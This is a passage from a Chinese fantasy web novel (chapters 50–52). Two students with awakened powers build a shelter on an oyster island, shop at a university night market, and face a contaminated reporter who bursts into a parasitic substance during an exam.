姜纶在青龙学院的农田那里，零星分布着很多类似的房子，都是用来堆放一些农具、肥料什么的。 “就是照那个造的，简单。”姜纶问他，“有没有火系晶核？这地方太潮湿了，我用火烤烤。” 沙伍不确定有没有：“不是可以直接抽水？” “直接抽水好像容易结构不牢固，我看他们都是用火烤的。” 沙伍看姜纶还在完善其它细节，就去开鱼虾盲盒，到厨房后门才想起来：“院长呢？” 姜纶放低声音：“躺在蚝壳里睡觉呢。” 沙伍悄咪咪去看了一眼。 夜鹭睡得两脚朝天，翅膀摊开，一副完全没有天敌的样子。 沙伍就没去打扰，开始处理鱼虾。 到底是有过野外生存经验的人，哪怕没有食品处理器，他的动作也不生疏。 取晶核的动作更是熟练。 这一片的虾成群结队，一抓就是一兜。 粉红色的外壳看上去非常漂亮，小的大概在十厘米左右，大的个头有将近一米。 比不上他中午抓……钓上来的那只十米长的，但这个长度的大虾已经非常难搞，费了沙伍不少功夫。 开出来的晶核粉红色，像一朵漂亮的花。 他的眼睛立马亮了，冲进房里找到已经装修到卧室的姜纶：“送你花花！” 姜纶见多识广，也很少见到这种花朵形状的晶核：“谢谢，我很喜欢。” “嘻嘻！”沙伍勾住姜纶的脖子重重MUA了一下，“你忙，我再去开盲盒！” 姜纶看着躺在他手心里，能有拳头大的粉色晶核，想了半天，还是把晶核作为吊灯装在卧室：“暂时就待在这里吧。”等回去的时候再带走。 光明系的晶核，比中午那只十米大虾开出来的晶核更加稀有珍贵。 甚至于单纯作为宝石，这种漂亮的外形，足以成为拍卖会的压轴。 比起价格，姜纶觉得沙伍的这份心意更加沉重坚实。 沙伍处理完了鱼和虾，开出了一堆晶核，大部分都长得歪瓜裂枣，只有几颗长得好看的，被他单独放起来。 姜纶把房子大致布置完毕，去准备做饭。 沙伍听他这么一说，还诧异：“院长把厨房机器带来了？” “没。只有调料。我们自己做。” “怎么做？”就他们两个废物，连点火都搞不定。 如果把鱼肉和虾肉切片也算是做菜的话，当他没说。 姜纶从一堆被沙伍随便丢在岛台上的晶核里挑出一颗火系晶核：“我知道，可以布置一个简单的异能链路，激发晶核里的能量。原理和制作异能用品是一样的。” “嗯。”这个沙伍也知道。 大灾变后，整个世界的能源就是基于晶核。 譬如他平时用的小飞车、飞板，使用的都是风系晶核。 所以怎么构筑异能链路呢？ 姜纶打开一块光屏，在上面画出一个很简单的圆形链路：“这就是最简单的激发晶核能量的链路。这颗最小的火系晶核放进去，产生的能量应该刚好够烧烤。” “嗯。”沙伍听得很认真，并且也打开一块光屏，跟着姜纶的节奏临摹。 姜纶在圆形的链路上添了几笔：“为了以防万一，我们还是需要控制火焰的大小，所以在这里需要添加一个小开关，可以起到调节的作用。” “为了保持火焰的稳定性，最好再增加一条链路，然后我们把两条链路连接起来。” 沙伍认真跟着画下最后一笔，把两块光屏放在一起，一模一样。 伍哥学什么都棒棒哒~ 他心满意足地看了看自己画下的第一幅链路图，看姜纶没有进一步的动作，奇怪：“教学结束，你画啊。” 快点，等着做饭呢。 天天看祁叔他们晚上小烧烤，今天也轮到他了！ 姜纶看着沙伍欲言又止。 夜鹭从外面飞进来，落在岛台上，又飞起来落到沙伍脑袋上：“这蠢货的异能控制力太菜了，只会举大刀，玩不了绣花针。异能链路这东西，他估计这辈子都搞不定。” 夜鹭没进行教学，直接挑拣了合适的晶核，给房子里挂上了灯，给厨房按上了灶台，接上了水，甚至现场烧了几块玻璃给窗户按上。 外面的天一下就全黑了。 沙伍下意识看了看手环：“才四点多。” “这边维度高，天黑得早。”夜鹭站在窗台上，看外面的夜空。 异能泡泡把整栋房子连着外面的矮墙一起笼罩在内。 风声和海浪声经过泡泡的过滤，变得柔和轻缓。 安装完窗户后，由火系晶核激发的地暖系统效果一下就明显起来，整栋房子的温度迅速升高。 沙伍这才反应过来，自己全身上下就一条裤衩，甚至光着脚：“我去洗个澡。” “去吧。衣服我放柜子里了。”姜纶已经在开始煎鱼了，动作非常熟练。 沙伍之前进房间的时候没怎么注意，这会儿一脚踏进去，满屋子粉红色的光：“怎么瞧着这么不正经呢？” 明明他送给小少爷的是很正经的花花啊。 算了，不纠结。 这边的浴室显然不可能做成像姜纶的儿童澡盆子一样大，就是普通浴缸的大小。 沙伍没泡澡，在一旁的淋浴间里简单冲洗了一下，从卧室没有门的柜子里拿出换洗衣物换上，才踩着小鲨鱼拖鞋出去。 夜鹭原本盯着姜纶煎鱼，出锅一片吃一片，听到声音回头一看：“他们竟然还给你装了这种拖鞋？！” 他帮忙拿沙伍和姜纶的行李，肯定不会一一检查，看着两个人的私人物品总共就一人一个箱子，以为就是一些基础用品，没想到…… 他挥挥翅膀让沙伍到他面前来，低头仔细打量小鲨鱼拖鞋，感觉还怪可爱的。 沙伍炫耀似地动了动脚趾：“院长喜欢吗？我送你夜师傅拖鞋呀~” “哼！小孩子玩意儿！”夜鹭不领情，眼神却控制不住往拖鞋上瞟，偏还不耽误抢吃的。 沙伍这会儿才注意到厨具：“锅子也是从宿舍里带来的？” “嗯。你们那个厨师脸色难看得要命。我感觉他想找我拼命。”夜鹭刚吞下去的鱼排已经消失，重新缩起脖子。 姜纶解释：“小鲨鱼现在的食谱是祁叔和医生们一起制定的营养餐，现在食谱变动，他们制定好的营养餐也得跟着变动。”起码半个月工作白做，还得返工。 夜鹭大声呱呱嘲笑：“一群书呆子。他们的营养餐真这么厉害，沙伍能不长肉？谁家鲨鱼瘦得跟麻杆似的，还没你三岁的时候重。” 沙伍实在不想在这个他不及格的话题上打转，把姜纶赶开：“你去洗澡，我来！” “你会？” 沙伍指指自己的眼睛：“看会了。” 不就是把鱼排放进去，撒上调料，翻面，再撒上调料。 夜鹭和小少爷都是大胃王，沙伍也比一般人吃得多。 眼前虽然只有一口锅，但锅子很长，几乎就是个烤炉，一次性可以煎很多鱼排。 姜纶不太放心，站在边上看着。 沙伍上手了之后才发现不对：“这口锅也是异能物品？” “对。一个户外专用品牌的，一口锅可以调整成平底锅、炒锅、汤锅、蒸锅，比较全面。”姜纶解释。 沙伍听出言外之意：“其实不是很适合户外？” “看什么样的户外了。如果只是在安全的郊外野炊当然是不错的，真的像我们这样待在污染区，正常情况不会有时间烹饪。大部分都是嚼两口压缩饼干、能量棒、营养剂之类的东西。带这种东西太累赘了。”毕竟极少有人能够出门带个愿意纵容学生的院长。 院长驱赶姜纶：“快滚去洗澡，我看着呢。” 沙伍见姜纶走开了，从岛台下面掏出一堆粉红色的虾壳：“我都洗干净了。” “洗干净了干嘛？” 沙伍没回答，就学着姜纶搓蚝壳砖那样搓。 新鲜虾壳里成分复杂，沙伍想用异能也给搓个什么，一直到姜纶洗完澡换完衣服出来，都没什么动静。 最后还是姜纶接手，按照沙伍的要求，给夜鹭搓了个带秋千椅的栖杆，搓了个鸟食盆、水盆，外带一个鸟窝。 上面还附带了一堆从粉红虾里开出来的粉色铃铛花形状的晶核，挂成弯月形。 沙伍把夜鹭往秋千上一放，打开手环就给来了一张照片：“院长是最可爱哒！” 姜纶木着脸接手晚餐烹饪工作，看着自己的男朋友被暴躁黑白水鸡追打得嗷嗷哭。 该！ 送给他一朵花，送给夜鹭一堆。《 》 50-55 第51章 庇护所 庇护所有两个房间。 夜鹭晚上不需要睡在鸟窝里，而是把鸟窝拖进房间的床上，睡在房间里。 沙伍不太放心/太好奇凑过去看了一眼，被姜纶分分钟拉走：“干嘛？” “夜老师这么大一只鸟了，会照顾自己。”姜纶把他往房间里一带，“睡了。不累啊？” 沙伍感觉粉色灯光怎么看都不正经：“睡了睡了，关灯。” 灯没有声控关掉。 姜纶也是愣了一下，才摸索到开关关上。 房间有窗户没窗帘。 微弱的月光从窗外洒进来。 沙伍把脚往姜纶身上一搭：“院长睡了一下午，晚上还睡得着？会不会半夜把我们叫起来上课？” 姜纶觉得有这个可能，扯过轻薄被子盖上：“那我们赶紧睡。” “睡毛睡！双修！”沙伍对于昨天晚上双修闹出来的动静毫无印象，但上午那副阵仗显然不一般，应该也是院长特意把他们带出来的原因。 既然如此，就把事情搞清楚。 姜纶觉得沙伍的目的不单纯，嘴上说着双修，一点都没有觊觎他身体的样子，眼神坚定干净，毫无杂念。 小少爷想要单纯的杂念！ “你先让我亲。”他提出要求。 沙伍别开脸，声音都弱了下来：“噫~不要了吧。”声音越说越轻，难得有些害羞地不敢跟他对视，“总共就没两身衣服，回头你又给我扯坏了。” 姜纶听到自己说：“那先把衣服脱了。” 感觉到姜纶温热的手掌贴在自己的小腹上，沙伍像是虾吃多了一样猛地弹开，可惜床就那么点大，差点一下弹床底下去。 姜纶反应很快，把他捞住，重新抱回来：“反应这么大？” 沙伍哼哼两声没回答。 两人紧贴的胸口，传递出沙伍比平时更快的心跳。 “好啦，不亲就不亲。双修？”果然还是夜老师在太碍事了，小鲨鱼放不开。 庇护所还是太简陋了，等下次过来，他装个屏蔽器。 嗯，再多带些衣服。 衣服？ 进入双修状态的沙伍察觉到一丝姜纶的想法，感觉有些困惑。 修炼就修炼，怎么还能分心想衣服？ 金色的星河重新灌输到他的星空，沙伍很快就没能再分心想别的事情。 没有屏蔽器，夜鹭很清晰地感受着能量的传递。 他算是看着姜纶长大，并且一路教导他的，从来没想过姜纶的异能还能这么温和。 他熟悉的姜纶是狂暴的，异能更是撕碎一切的纯粹蛮横。 年纪幼小的时候，姜纶还不会掩饰。 年纪渐长，对于异能的收敛能力越强，姜纶的外在表现就越平和无害，甚至外界不知道什么时候开始传出姜家小少爷是个没有异能的普通人。 他能感觉到平和表象下藏着的更加可怕的暴烈异能。 在最奢侈的想象中，他、包括姜纶的家人师长们，都觉得姜纶哪天能够真正控制住自己的异能，一旦释放，能够被从污染中拉回来就已经足够好了。 万万没想到……影视剧里演的双修竟然是真的？ 姜俣和姚瑞云是不是早就知道了？ 怪不得他们夫妻俩最早到九级！ 丫的，九级里就他们俩是夫妻！ 他就吃亏在没个老婆！ 夜鹭气得在秋千上荡来荡去，呱呱乱叫。 沉浸在双修中的两个人根本毫无所觉，一觉到天亮，睡得皮肤白里透红。 夜鹭红着眼睛飞到姜纶头顶一阵叨：“你这个软饭男！” 姜纶正在修整房子的细节，准备在院子里开一块菜地种点什么，丝毫不知羞耻，还洋洋得意：“我家小鲨鱼愿意养我~”眼睛里写着明晃晃的“你没有吧”。 夜鹭更生气：“满岛的生蚝不够你吃的，还让沙伍一早出去抓鱼，你也好意思？” 姜纶下意识捂住鼻子，吸了一口气：“我这个年纪，吃那么多生蚝不好。” 说完，他用一种是男人都懂的眼神看着夜鹭。 夜鹭不懂，一翅膀扇过去：“有什么不好的？生蚝那么好吃。” 这下换成姜纶不理解了。 他抬手把在他头顶当啄木鸟的夜鹭抓下来，捧在手上仔细观察。 夜鹭在他手上转了个圈，抬起翅膀就要扇：“看出什么来了？” 姜纶突然说道：“夜老师，你的人形是什么样子的？” 夜鹭的翅膀收了回去：“是个大帅哥！你知道的，我们这种黑白灰三色调的，都是成熟稳重仙气飘飘的大帅哥。” 姜纶一脸狐疑：“那你变个人。” “我不。”夜鹭断然拒绝，并且扇了姜纶一翅膀，飞走了。 姜纶看着飞走的夜鹭，更加怀疑了，小声嘀咕：“难道是人形太猥琐了？” 仙气飘飘什么的，那不该是形容苍鹭的吗？ 夜鹭什么的，怎么都跟仙气飘飘没什么关系。 还是说鸟类的高阶异能者都喜欢保持觉醒体的姿态？ 鸭老师也是，很少变成人形。 庇护所只剩下姜纶一个人，他也不乱想，认真规划菜园子。 鸟粪中含有一些植物种子，很多都已经死了，但还有一部分有活性，只是不知道究竟是什么。 他用异能把土层堆厚，混合了含有植物种子的鸟粪，浇上水。 异能听话的感觉让他无比舒畅。 原先他的异能像是脱缰的野狗，还是一群，想要控制住简直难如登天。 现在他的异能突然就变得温顺听话起来。 他试着用异能构筑简单的链路，异能透过他的指尖融合进一块蚝壳砖上。 “噗呲”一声，蚝壳砖上多了个透明窟窿。 好吧，即便是野狗变成了家犬，依旧是力量巨大的蠢狗。 他暂时放弃和异能链路较劲，重新规划院子。 在院子里铺上蚝壳板，这一次不用去掉外壳，这样表层的颜色看上去和地面更加和谐不突兀。 试了试脚感，还防滑。 他刚忙完，夜鹭就抓着小鲨鱼泡泡飞了回来。 这次沙伍除了带回来一些鱼之外，还带回来了一堆海带。 “我试试这个玩意儿，能不能做成窗帘。”尽管这地方天黑得早，但睡觉没有窗帘实在不符合他的生活习惯，总觉得不安心。 姜纶觉得不能，但也没直接说，拿着渔获去做早餐：“那你试试。” 夜鹭看着两个人一起做家务收拾屋子，感觉怎么像是新婚小夫夫呢？ 他带这两个家伙出来，不是为了防止他们修炼出岔子，把青龙学院给扬了吗？ 姜纶把早餐做完，沙伍也只是把海带变成脱水海带：“下次来的时候，我们还得带窗帘。” 姜纶很自然地接话：“一会儿我把窗户的尺寸重新量一下。”他把粥放在餐桌上，“小心烫。” 夜鹭看着材料新鲜丰富的海鲜粥：“还带米了？” “嗯。就一小袋，煮粥能吃两顿。”煮饭就只能一顿。 他看着夜鹭，给他递勺子：“夜老师，你这样方便吃吗？”还是变个人形，好好吃饭。 夜鹭觉得姜纶用心险恶：“方便，我可太方便了！” 说完，他就直接一口连粥带碗一起吞了下去。 沙伍都惊呆了，举着勺子看着夜鹭脖子上多出一个圆圆的碗：“院、院长？”可不兴吃餐具啊！ 夜鹭脖子一伸，把碗吐了出来，一甩头毛：“哼！再来一碗。” 姜纶心想，这还仙气飘飘呢？然后越来越好奇夜鹭的人形长什么样。 沙伍摸摸夜鹭的脖子：“院长没烫到吧？还是我喂你吧？” “我是火系，怎么可能烫到？”夜鹭骄傲，但是没拒绝沙伍的喂食。 沙伍喂孩子是专业的。 在孤儿院长大的孩子，哪个都帮忙带过更小的小孩。 虽然普通家庭的家政机器人，装一个带孩子的辅助模块很便利，孤儿院也有；但是孤儿院小孩子实在太多，家政机器人的数量远远不够，依旧有大量工作依赖人力。 姜纶看着张嘴嗷嗷待哺的夜鹭，眼里面的怀疑更甚。 仙气飘飘的大帅哥？ 怎么看都像是只未成年的小鸟。 可是夜老师不是大灾变前出生的老鸟吗？ 他们在生蚝岛上住了半个月。 一回家，姜纶就看到小粉猫扑进沙伍怀里，张着一口破锣嗓子“喵喵喵”地撒娇。 沙伍被小粉猫撞倒在草坪上，感觉小粉和自己这么亲近，应该是身上被鱼腥味腌入味了：“好了好了，我带好吃的回来了，先去厨房。” 小粉猫变大，驮着沙伍直奔厨房后门。 姜纶没跟去，有佣人过来迎接：“小少爷回来了。梁管家他们去新宿舍那边了，要晚上才能回来。” “好。让厨房先准备午餐，我先去洗个澡，一会儿和小鲨鱼一起去医院体检。” “好的。” 厨房只有阿二留守。 沙伍把一堆食材交给他，还想帮忙收拾，被赶走。 阿二揉了一把沙伍毛绒绒的脑袋：“快去洗洗，头发都长长了。” 沙伍扒拉了两下头发：“要剪头发了。” “一会儿让金金帮你剪。” “哦。”沙伍有点害怕金金。 作为宿舍的美容美发师，金金的业务量没那么繁忙，也不喜欢出去干个兼职或者去读个书，而是喜欢拿院子里的植物练习，经常跟各种植物和薛春打架。 两个八级打架的动静，哪怕再怎么收敛也很恐怖。 尤其是金金的大剪刀，感觉能直接把他脑袋给咔嚓了。 在看到金金的剪刀变大之前，他真的不知道给自己剪头发和用来打架的是同一把剪刀。 等沙伍咔咔一顿收拾完，天都快黑了。 金金收起剪刀：“好了，去跟小伙伴们玩吧。” “哦。谢谢金金哥。”沙伍打了个哈欠，完全不知道自己就这么点头毛，为什么需要花费两三个小时。 他走到客厅，看到沙发上坐着的小丑鱼和虾同学，瞬间就不困了：“是要出去玩吗？” 在海岛上待了那么久，现在看到个人就兴奋。 想去看很多很多人！ 两位同学浑身拘谨，看到沙伍过来还愣了一下：“啊，沙伍。” “不是，来找你做小组作业。” “哦，对。我的部分做完了，等等我发给你们。之前没信号。”沙伍打开手环把作业内容发给他们，“去教室说吧。” 教室那边地方大一点。 “好。”赶紧走吧，在这么豪华的大房子里，他们感觉浑身不自在。 没想到三个人分头走了两个方向。 背对背走了三步后，三个人同时回头：“走哪儿？” “教室啊。” 小丑鱼和虾同学指着教学楼的方向，沙伍指着楼上。 沙伍把两位同学带去了自己的教室。 等两人见沙伍把教室门关上，才放下刚才一直僵直的肩膀：“我的天！刚才在楼下喘气都不敢大声。” “知道你住这么大的宿舍，不知道宿舍里面这么豪华。” “我这个学年好好努力，下个学年是不是能分到小别墅那边住？” 沙伍跟他们围坐在一起：“我们干净化的，只会在周围给安排上多多的人。” 小丑鱼和虾同学同时叹气：“唉，看来独居的愿望，毕业前是别想了。” 虾同学觉得自己还是有指望的：“我是自然净化者，肯定能独居的。等毕业后我就去考监测点……监测点对战士等级要求有亿点高，还是等我异能等级提升后再去。先去考环卫局！” 三个人都是一心二用的好手，嘴上交流，一点都没耽误手上写作业：“环卫局的工作这么好吗？我的养母也准备考环卫局的岗位。” 虾同学摇头晃脑：“环卫局可是个好单位。福利待遇不错，危险性也小。嗯，朱雀城除外。”朱雀城的变异昆虫简直了，偶尔还会爆发变异鼠潮，那个更恐怖。 “不过朱雀城的自然净化岗位的待遇比我们青龙城要高三倍多，还是很诱人的。人家的招工要求也高，起码得四级。我毕业的时候肯定还没四级。” 小丑鱼感觉自己作为全班最弱异能值天赋，已经可以躺平了：“我就等着将来跟着哪个战队混就行。反正我作为净化者，甚至可以不上战场。” “你不是胆子挺大的？”沙伍感觉小丑鱼还是很适合打架的。 虽然小丑鱼不会冲上去打人，但他对于战场观察细致，能够抓住机会，也懂得保护自己。 小丑鱼撇撇嘴：“我是啊。但是异能值天赋摆在这儿，我这种小菜鸡真的跟厉害的战队混，什么时候嘎了，自己都不知道。要是跟弱鸡战队混，那我还不如去辅修一个医科，将来当医生。” “你还有精力辅修别的专业啊。”沙伍佩服，“我跟现在的课程就已经很吃力了。” 虾同学诧异：“你还吃力？你的学习速度已经比大部分人都快了。” 跟沙伍一比，他们从幼儿园起就接受的异能教育简直像是白学了一样。 人家一个暑假就赶上了他们十几年的教学进度，学得还特别扎实。 沙伍想着宿舍里一群二十几岁的哥哥姐姐，一溜的八级，七级都很少见，感觉自己根本赶不上人家的学习进度。 “唉，不提了。”沙伍这几天玩的时候很开心，双修的时候很开心，就是还得做作业一点都不开心。 作业哪里来？ 院长带着从天上掉下来。 为什么姜纶就可以又逃课又逃作业？ 不公平！ 沙伍正想着，姜纶就敲门进来了：“作业做好了吗？先晚餐？” “啊，到点了。”沙伍把光屏一关，“我带回来超好吃的生蚝……”虾就算了，毕竟虾同学还在。 等坐到餐桌边，虾同学吃虾竟然最多。 迎着沙伍吃惊的目光，虾同学抚着肚子解释：“我是河虾，你抓的是海虾。不对，我是人，觉醒体是虾，本质不是虾。退一步说，你是鲨鱼，不也照样吃鱼嘛？” “有道理！”沙伍觉得找到了爱吃虾的小伙伴，“那我下次抓到虾，再叫你一起吃。” “那怎么好意思呢。”偶尔来同学家蹭一顿饭也就算了，但经常蹭同学的吃的可不行。 这么大个的粉红虾的价格可不便宜，起码学校食堂从来没见过。 他在青龙城专门卖变异生物食材的菜场见过差不多个头的变异虾，一只的价格就得大几万，贵得离谱。 吃过饭，小组作业还剩下一点收尾。 三个人继续转战教室。 由于吃得太撑，只能站着做作业。 等离开宿舍的时候，两位同学都是站在小飞车上的。 沙伍和姜纶一起把他们送到宿舍门口。 目送走两人后，沙伍就站那儿召唤小飞车。 姜纶还以为他吃撑了，不想面对家里祁大厨的死亡射线：“逃得了和尚逃不了庙，迟早都是要面对的。” 在污染区胡吃海塞半个月，小鲨鱼非但没瘦，体重还增加了。 体检结果的各项指标也很好。 殚精竭虑为了调养小鲨鱼身体的祁大厨的心情不提也罢，感觉把小鲨鱼每天的食材精确到克的自己像个小丑。 “嗯？什么和尚什么庙？”沙伍看见小飞车过来，拉着姜纶一起上去，“走走走！我们逛夜市去！这几天学校附近的夜市听说很热闹，我们凑热闹去！看看能不能买个窗帘什么的。” 姜纶打开自己的备忘录：“那要买的东西挺多的。” 原本这类东西，他肯定直接让管家去准备；但这次他完全没有这个想法，就想跟沙伍一起采买。 “你不是还想种个小菜园？不知道夜市上能不能买个暖棚？” “夜市上应该不会有暖棚卖吧？”小飞车是自动驾驶模式，姜纶把沙伍整个人抱在怀里，点开手环给他看，“生蚝岛维度太高了，暖棚要采暖和采光，还要防风，最好还要防鸟，得专门定制。” 沙伍把自己的重量都交给姜纶，感觉比吃饱了躺在沙发上还舒服：“我感觉院长不会帮我们带这么多东西过去。” 姜纶想也不想：“我自己带。我也会飞会游。”求人不如求己。 “胖宝宝真棒！”沙伍回头亲了他一下，“嘶——你怎么还咬人呢？” 姜纶勾着他的下巴看：“真咬疼了？” “被咬哪有不痛的？”沙伍阻止他把自己从小飞车上抱起来，“别别别，注意行驶安全！我们还是看看一会儿要买什么。” 小飞车很快就到了夜市。 共工大学是青龙城最著名的大学，但不是学生人数最多的。 围绕着共工大学，周围还有六所高校，一起构成了一座大学城。 沙伍带着姜纶来的夜市，就是大学城的夜市，很多摆摊的都是一副学生面孔，除了卖东西的，还有卖艺的。 三五成群的好友，一对一对的情侣特别多。 沙伍和姜纶走在里面一点都不……非常显眼。 沙伍抬头看：“你个子太高了。” 姜纶抬手摸摸沙伍的脑袋，把他下午精心剪好的发型揉乱上面几根发丝，再把他揽到自己身前，让开迎面过来看着光屏没看人的路人。 沙伍显然也是走路不看路的人，见自己差点跟人撞一起，只是抬眼看了一下并没在意，拉着姜纶往一个方向走：“那边是美院的学生在卖东西。” 姜纶可太知道沙伍多么喜欢好看的东西，也太知道“艺术”，提前打预防针：“我觉得你可以不用太期待。” “怎么了？”沙伍感觉美院的学生，审美肯定是在线的……吧？ 沙伍看着一群穿着打扮和售卖的货品都非常先锋的学生，原地呆立三秒钟。 姜纶本着来都来了的想法，干脆拉着他进去淘东西：“很多艺术家的审美都比较超前。” 虽然绝大部分美院学生都还远远够不到艺术家这个层次，但在大胆尝试方面显然很大胆。 美院这边的商品，也比其他学校的商品要丰富得多。 他们的绝大多数商品都是自制的，而不是批发来千篇一律的小玩意儿。 仔细挑选，还是能够选到符合自己审美的东西的。 姜纶婉拒了一个非得要卖他裙子的摊主，看中了隔壁摊位上粉色花卉图案的布料，感觉和生蚝岛上的卧室灯光很配：“能不能帮我改成窗帘？” 他这边正在跟摊主商量尺寸，沙伍那边已经买了个奇怪形状的杯子：“看！” “喜欢这种杯子？”这不大不小的，杯口还扭来扭去，喝水不方便，摆着不好看。 沙伍把杯子转了个圈：“看！院长！”杯子上画着一只长颈鹭，扇动着翅膀，竟然有几分仙气飘飘，“把院长放进去。” 姜纶看他把杯子放进包装袋里：“不怕挨揍？” 沙伍认真思考了一下：“反正不会被打死。”可以皮一下！“我还买了院长同款拖鞋。” 姜纶看着沙伍拿出来的毛绒绒的双马尾夜鹭羊毛毡，也不知道为什么会被做成迷你拖鞋的形状，但是：“夜老师那爪子应该穿不了拖鞋。” 第52章 蘑菇 姜纶本来并没有真打算买什么东西，结果买了一堆，从窗帘、床单，买到锅碗瓢盆。 要不是小鲨鱼快断电了，他还能再买。 幸亏他们骑的是客货两用版的小飞车，不然回去得叫小货车。 “那个卖花盆的摊位太偏了，摊主还不打光，只买到了一套夜鹭小陶盆。”沙伍念念不忘，“那个摊主为什么不肯加一个联系方式？” 因为他一直用死亡视线盯着摊主——姜纶微笑：“反正夜市不止这一次，以后有机会再来。” 以后没机会了。 那摊主当着他的面，对他家小鲨鱼抛媚眼，当他是死的？ 沙伍完全没注意，觉得姜纶说的有道理：“困了。” 姜纶解开外套，把沙伍包进去：“睡吧。” “嗯。”沙伍的眼睛一下就睁不开，沉入了睡眠。 姜纶轻轻拍着沙伍的后背，瘦巴巴的少年揣在怀里像是揣了只猫崽似的，小声嘀咕：“肉都长哪儿了？” 时间一晃眼到了年底，学校一部分课时比较短的课程开始期末考，有一部分课程也可以申请提前考试。 沙伍提前申请了体能考试，和一群一年级新生在潮汐湖畅游。 平时看着挺大一条鲨鱼，和其他同学一对比，就能看出明显偏瘦的体型。 姜纶坐在潮汐湖边上，像个编外人员一样看着考试场地，对一旁的记者视而不见。 记者是个中年男人，打扮得很是文质彬彬，看上去就像是大学里的老师，学着姜纶一样拿个折叠椅坐在岸边，甚至掏出了一根折叠钓鱼竿往潮汐湖里一抛：“小少爷不下场考试吗？” 他见姜纶不搭理自己，也不介意，脸上保持微笑：“小少爷千辛万苦进入青龙学院，要是期末成绩不理想，会不会丢姜家的脸？” 他以为这么说，姜纶多少会有些反应，结果姜纶还是一副懒洋洋的样子，看看毫无动静的鱼漂，看看潮汐湖里奇奇怪怪的年轻异能者们，一旁还挂着个光屏似乎是……游戏？ 记者到底不敢真的把姜纶怎么冒犯，放软语气说道：“小少爷生活在姜家那样的精英环境里，会不会觉得压力很大？其实以姜家的身份地位，你完全可以做一些自己感兴趣的事情，譬如种地什么的。听说你种了不少蔬菜水果，种得很不错？是因为家庭原因，才让你必须选择自己不喜欢的专业吗？或者你可以跟家人商量一下，共工大学的农学院也是全国顶尖，学农并不丢人。” 游戏匹配完毕，姜纶开始打游戏。 记者表情还是很悠哉，但是语气中已经透出一丝强硬和自以为隐藏很好的讥讽：“小少爷去学自己感兴趣的学科，把占用的资源让给更需要的其他学生，不好吗？你看，你并没有异能方面的才能。而那些有异能天赋的学生，却大多考不上青龙学院，只能接触到普通教育，出来或许只能找一份环卫局的工作。” 姜纶说道：“环卫局的工作待遇很好。” 记者下意识反问：“那让你去环卫局工作，你去吗？” 姜纶一把游戏结束，回头看了他一眼。 记者感觉自己像是个傻子，脸色微微涨红，呼吸变得粗重急促。 姜纶举了一下手，冲着不远处喊：“潘老师！” 蓝色长卷发的纤细大帅哥走了过来，气质高雅贵气：“还以为这位是姜同学的熟人。咦？这位先生最好控制一下自己的污染值，以你的异能等级，开发自己的污染还太早。” 刚才文质彬彬的记者，这会儿裸露在外的皮肤快速覆盖上鱼鳞，爬满血丝的眼睛里写满惊恐：“我、我控制不住！救我！救救我！” 伴随着污染值的快速上升，他的五官开始发生扭曲，在他的污染值继续上升的时候，一道水绳突然把他捆住。 潘晨星微微皱眉：“我又不会净化。” 他只能暂时控制住这个失控的异能者，用自己高阶异能者的异能去压制这位低阶异能者的异能，就像是用蛮力压制住一个弹簧，一旦松开，反弹出来的污染会更加严重。 他在工作群里发信息：“潮汐湖，有三级异能者出现污染，附近的净化者速……什……” 他的话还没说话，原本被他暂时压制住的记者，后背的衣服突然破开，奇怪的白色的什么东西从里面钻了出来。 瞬间爆炸！ 潘晨星下意识张开结界，那些喷溅而出的白色物质却带有异常强烈的腐蚀性，不到一秒就把结界融化，并保持相当的高速，化成长长的纷乱的细丝朝他扑过来。 潘晨星在一瞬间变成鲛人的形态，身上的防御异能装备激发，变成利爪的手要去撕扯。 然后在下一瞬间，炸开的记者、不明白色物质全都消失不见。 鲛人回头，看向被他保护在身后的姜纶。 姜纶手上拿着个网兜，除了过分大了一点，看上去就是个普通的抄网，现在里面是一大团看不出是什么东西的混合物，占据主体的白色物质在不断扭动，像是有什么奇怪的东西要从里面爬出来一样。 “啧，弄脏了。”明明是用来抄小鲨鱼的，这下得换新的了。 这抄网的材料还挺难搞的。 姜纶突然注意到站在岸上的鲛人，惊奇：“潘老师，你还能用尾巴站起来？” 老师可以，那小鲨鱼是不是也可……不可以，鲨鱼是软骨鱼。 潘星辰褪去觉醒体，重新变回弱不禁风的人类模样，皱着眉头看着姜纶手上的抄网：“你早就看出来这个人不对劲了？” 姜纶实话实说：“倒也没有很早……夜老师。” 夜鹭落到姜纶肩膀上，对潘晨星和赶过来的老师们说道：“继续考试。”然后对着周围的空气喷了一口火，抓着姜纶就走。 火焰很小，像是划出的火柴头，飞溅出细小的火星，燃烧的时候发出噼噼啪啪的轻微爆裂声，迅速沿着某些看不见的丝线燃烧，在空中绘制出一张残破的网，最后停留在潘晨星手背上方一厘米处。 “啪。” 火焰熄灭。 几名老师面面相觑：“什么东西？” 潘晨星皱眉：“不清楚。”他把刚才手环自动拍摄的视频投放在光屏上回放，“一个三级异能者。” 他常年待在人烟罕至的监测点，经常需要处理各种各样的奇怪异能和污染，哪怕对待一名比自己弱小很多的异能者也没有掉以轻心，但事实证明，他还是差一点就中招了，甚至如果没有院长及时出现，他都不会察觉后续的网。 一切发生的实在太快了。 其他老师看过回放后，也不敢说自己能够比潘晨星做得更好。 “小少爷的反应很快。”视频是用潘晨星的手环记录的，其实并不能拍摄到姜纶，但是拍到了抄网。 没有抄网的拦截，潘晨星这会儿估计好不了。 “感觉像是什么寄生的东西。” “什么寄生的东西能够对高级异能者下手？” “潘老师还是去医院做个详细检查？” “嗯，我这就去。考试麻烦帮个忙。”潘晨星说话的时候，已经给自己套上了膜，等得到了同事们肯定的答复，把膜升级为防御力更强的结界，几乎一瞬间消失在原地。 几名站在原地的老师看了看，转去监考：“潘老师的基础实在是太扎实了。” “最简单的身体强化都能这么厉害，短距离速度应该比得上高速飞板了吧？” 刚在手环上得到自己体能成绩的沙伍，从水中探头，又一歪头斜躺下去。 他的小少爷怎么突然不见了？ 小鲨鱼失去了表演的欲望，随便来了个起飞空中转体720度，落水接小跳。 刚想跳一个的宽吻海豚：“沙伍！” 小鲨鱼抖抖翅尖，和靠过来的宽吻海豚保持距离：“干嘛？” 凶什么？ 想打架？ 区区一个班长，是吃不了他的鱼翅和鱼肝油的！ 宽吻海豚猛地跳高，再一头扎进水里，溅起高高的水花：“我才是海豚，好好当你鲨鱼！” 小鲨鱼把背鳍露出水面，绕着宽吻海豚游了一圈：“嗯？可是你跳得一点都不轻盈活泼，还不如我呢。” 临近期末，沉迷学习并且不断给自己加餐的宽吻海豚，知识和体重同比增加。 小鲨鱼来回跳跃，并且对班长发起嘲笑：“你像个跳起来的秤砣。” 小鲨鱼因为和同学打架，扰乱考场纪律，被叫家长。 